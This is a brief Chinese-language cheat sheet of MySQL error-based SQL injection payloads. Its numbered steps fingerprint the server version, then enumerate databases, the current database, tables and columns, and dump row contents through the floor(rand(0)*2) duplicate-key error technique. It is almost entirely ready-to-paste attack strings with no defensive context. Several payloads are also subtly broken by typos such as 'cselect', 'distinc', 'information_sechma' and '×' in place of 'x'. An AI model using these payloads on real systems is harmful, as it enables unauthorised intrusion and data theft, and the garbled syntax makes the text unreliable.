and (select count(*) from mysql.user)>0/*

1、檢視MYSQL版本 and+exists(select*from+(select*from(select+name_const(@@version,0))a+join(select+name_const(@@version,0))b)c) 2、爆所有庫 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0×27,schema_name,0×27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 3、爆當前資料庫 and(select 1 from(select count(*),concat((select cselect concat(0x7e,0×27,hex(cast(database() as char)),0×27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 4、爆表 and(select 1 from(select count(*),concat((select (select (select distinc concat(0x7e,0×27,hex(cast(table_name as char)),0×27,0x7e) from information_schema.tables where table_schema=hex庫名limit 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 5、爆欄位 and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,column_name,0×27,0x7e) from information_sechma.columns where table_schema=庫名and table_name=表名limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 6、爆內容 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0×27,表名.欄位,0×27,0x7e) from 表名limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1